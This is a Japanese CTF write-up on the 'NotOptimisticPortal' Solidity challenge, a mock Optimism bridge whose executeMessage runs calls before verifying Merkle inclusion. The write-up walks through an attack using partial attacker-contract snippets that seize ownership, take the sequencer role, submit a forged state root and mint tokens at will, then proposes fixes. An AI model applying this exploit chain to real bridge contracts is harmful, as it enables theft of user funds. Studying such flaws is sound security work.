Skip to content
On this page

NotOptimisticPortal CTF 問題の詳細解析:クロスチェーンメッセージ検証におけるロジック脆弱性

概要

NotOptimisticPortal は、Optimism のクロスチェーンブリッジ機構を模倣した CTF 問題であり、一見安全に見えるメッセージ検証システムに重大な設計欠陥が存在することを示しています。本記事では、このコントラクトの動作原理、脆弱性、攻撃手法について詳しく解説し、クロスチェーン通信における典型的な落とし穴を理解します。

背景知識

クロスチェーンブリッジの基本原理

クロスチェーンブリッジは、異なるブロックチェーン間で資産や情報を移転する仕組みです。Optimism のような Layer 2 ソリューションでは、状態ルート(state root)を用いて Layer 2 上のトランザクションや状態変化を検証します。主な仕組みは以下の通りです:

  1. 状態ルートの提出:Sequencer が定期的に Layer 2 の状態ルートを Layer 1 に提出
  2. 不正証明 / 有効性証明:状態遷移の正当性を検証
  3. メッセージ伝達:Layer 1 と Layer 2 間で双方向通信を実現

Merkle Patricia Trie(MPT)

Ethereum は MPT を用いて状態データを効率的に保存・検証します。主な特徴:

  • 各アカウントの状態(nonce、balance、storageRoot、codeHash)を状態ツリーに格納
  • ストレージは個別のツリーで管理され、そのルートがアカウント状態に含まれる
  • Merkle 証明により、特定データの存在証明が可能

コントラクト構造の分析

コアデータ構造

solidity
struct ProofData {
    bytes stateTrieProof;
    bytes storageTrieProof;
    bytes accountStateRlp;
}

// L2 状態データ
bytes32 public latestBlockHash;
uint256 public latestBlockNumber;
uint256 public latestBlockTimestamp;
bytes32[MAX_ROOT_BUFFER] public l2StateRoots;
uint16 public bufferCounter;
mapping(bytes32 => bool) public executedMessages;

主要関数の分析

1. メッセージ実行フロー

executeMessage はクロスチェーンメッセージ処理の中核関数です:

solidity
function executeMessage(
    address _tokenReceiver,
    uint256 _amount,
    address[] calldata _messageReceivers,
    bytes[] calldata _messageData,
    uint256 _salt,
    ProofData calldata _proofs,
    uint16 _bufferIndex
) external nonReentrant {
    // 1. メッセージハッシュの計算と重複チェック
    bytes32 withdrawalHash = _computeMessageSlot(...);
    require(!executedMessages[withdrawalHash], "Message already executed");
    
    // 2. メッセージ実行
    for(uint256 i; i < _messageData.length; i++){
        _executeOperation(_messageReceivers[i], _messageData[i], false);
    }
    
    // 3. 包含証明の検証
    _verifyMessageInclusion(
        withdrawalHash,
        _proofs.stateTrieProof,
        _proofs.storageTrieProof,
        _proofs.accountStateRlp,
        _bufferIndex
    );
    
    // 4. 状態更新とトークン発行
    executedMessages[withdrawalHash] = true;
    if(_amount != 0){
        _mint(_tokenReceiver, _amount);
    }
}

2. メッセージ検証機構

solidity
function _verifyMessageInclusion(
    bytes32 messageSlot,
    bytes calldata stateTrieProof,
    bytes calldata storageTrieProof,
    bytes calldata accountStateRlp,
    uint16 bufferIndex
) internal view {
    bool accountVerified = Lib_SecureMerkleTrie.verifyInclusionProof(
        abi.encodePacked(L2_TARGET),
        accountStateRlp,
        stateTrieProof,
        l2StateRoots[bufferIndex]
    );
    require(accountVerified, "Invalid account proof");
    
    Lib_RLPReader.RLPItem[] memory accountState = accountStateRlp.toRLPItem().readList();
    bytes32 storageRoot = accountState[2].readBytes32();
    
    bool slotVerified = Lib_SecureMerkleTrie.verifyInclusionProof(
        abi.encodePacked(messageSlot),
        hex"01",
        storageTrieProof,
        storageRoot
    );
    require(slotVerified, "Invalid storage proof");
}

セキュリティ脆弱性の分析

脆弱性1:検証と実行の順序ミス

問題点:検証前に処理を実行している(CEI違反)

solidity
_executeOperation(...); // 先に実行
_verifyMessageInclusion(...); // 後で検証

リスク:無効なメッセージでも処理が実行される可能性


脆弱性2:関数セレクタ検証の不備

solidity
require(bytes4(callData[0:4]) == bytes4(0x3a69197e), "Invalid message entrypoint");
  • これは onMessageReceived(bytes) のセレクタ
  • しかし衝突可能なため不十分

脆弱性3:権限管理の欠陥

solidity
require(msg.sender == owner || msg.sender == address(this))
  • コントラクト自身の呼び出しを許可
  • 再入可能な権限昇格の入口になる

攻撃戦略

目的

  1. owner を奪取
  2. sequencer になる
  3. 任意の state root を提出
  4. 任意ミント

攻撃手順

ステップ1:悪意あるメッセージ構築

solidity
function onMessageReceived(bytes memory) override external {
    require(msg.sender == address(_notOptimisticPortal));
    require(_notOptimisticPortal.owner() == address(this));

    _notOptimisticPortal.updateSequencer_____76439298743(address(this));
    _notOptimisticPortal.submitNewBlock_____37278985983(maliciousHeader);
}

ステップ2:順序バグの悪用

solidity
msgReceivers[0] = portal;
msgReceivers[1] = attacker;

msgData[0] = transferOwnership(attacker);
msgData[1] = triggerAttack();

流れ:

  1. ownership 奪取
  2. 攻撃コントラクト呼び出し
  3. 検証は後(無意味)

ステップ3:検証回避

sequencer を取得後:

  • 任意の state root 提出
  • 任意の証明生成可能

技術詳細

RLP とブロックヘッダ

solidity
parentHash = header[0]
stateRoot = header[3]
number = header[8]
timestamp = header[11]

Merkle 検証

solidity
verifyInclusionProof(
    key = messageSlot,
    value = 0x01,
    proof,
    storageRoot
)

修正案

1. CEI 準拠

solidity
_verifyMessageInclusion(...);
_executeOperation(...);

2. セレクタ厳密化

solidity
require(
    selector == IMessageReceiver.onMessageReceived.selector
);

3. 権限修正

solidity
require(msg.sender == owner);

4. タイムロック導入

solidity
scheduledOperations[id] = block.timestamp + 2 days;

まとめ

この問題はクロスチェーン設計の重要な教訓を示しています:

  1. 実行順序の重要性(CEI)
  2. 権限管理の厳格化
  3. 検証ロジックの信頼性確保

クロスチェーンブリッジは極めて高リスクな領域であり、小さな設計ミスでも致命的な被害につながります。したがって:

  • 多層防御
  • 厳格な検証
  • 徹底した監査

が不可欠です。

Built with AiAda